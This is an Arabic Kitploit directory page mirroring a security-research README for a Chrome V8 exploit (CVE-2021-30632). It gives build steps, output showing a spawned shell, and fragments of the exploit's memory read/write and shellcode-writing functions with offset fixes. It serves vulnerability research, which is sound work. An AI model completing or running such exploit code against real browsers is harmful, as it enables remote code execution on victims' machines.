Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-30632 — m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632 | Kitploit
أدوات/GitHubGitHub/paulsery/cve-2021-30632
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويبتوليد شيفرة القشرةاستغلال الملفات الثنائية
GitHubpaulsery/cve-2021-30632

CVE-2021-30632

m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

عرض المستودع
15منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

من: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

يمكن العثور على تحليل هذه الثغرة هنا. هذه ثغرة في كروم تم الإبلاغ عنها من قبل باحث مجهول ويعتقد أنه تم استغلالها في البرية.

تم اختبار الاستغلال هنا على إصدار v8 9.3.345.16 (الالتزام 632e6e7)، وهو الإصدار الذي تم شحنه مع Chrome 93.0.4577.63، الإصدار الذي يسبق إصلاح الثغرة، على Ubuntu 20.04. لم أختبره على Chrome نفسه.

للاختبار، قم بسحب v8 عند الالتزام 632e6e7 وقم بتجميعه بالإعدادات الافتراضية باستخدام tools/dev/gm.py x64.release. ثم افتح الملف poc.js باستخدام d8:

root@kitploit:~
./d8 poc.js

على Ubuntu 20.04، يجب أن يستدعي execve("/bin/sh") لتوليد عملية جديدة:

root@kitploit:~
./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$

قد يحتاج كود الشل إلى تغيير على المنصات الأخرى.

الاستغلال موثوق جدًا، ومع ذلك، أثناء الاختبار، لاحظت أن بعض الإزاحات تبدو حساسة للتغييرات الصغيرة في الملف (حتى إضافة التعليقات قد تسبب مشكلة)، مما يتسبب في فشل الاستغلال. يحدث هذا فقط عندما يتم تعديل الملف ويتجلى عادةً بقيم غير صالحة للعناوين، على سبيل المثال:

root@kitploit:~
instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a

في المثال أعلاه، عنوان صفحة rwx و initBackingStore غير صحيحين بوضوح. يبدو أن السبب الجذري هو قيمة مخزن elements غير صحيحة. (800222d ليست قيمة صالحة) يمكن إصلاح ذلك عادةً بتغيير الأسطر التالية المتعلقة بعنوان elements:

root@kitploit:~
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
  return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
  ...
}
...
var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

هذا، مع ذلك، لا يؤثر على موثوقية الاستغلال لأن الإزاحات تكون مستقرة طالما أن الملف ثابت، لكنه قد يسبب مشاكل إذا تم تعديل poc. لا أعرف ما يسبب هذا، ولكن يمكن على الأرجح جعل الاستغلال أكثر متانة ضد ذلك عن طريق مطابقة الأنماط في الذاكرة بدلاً من الاعتماد على إزاحات ثابتة.

تنزيل الأداة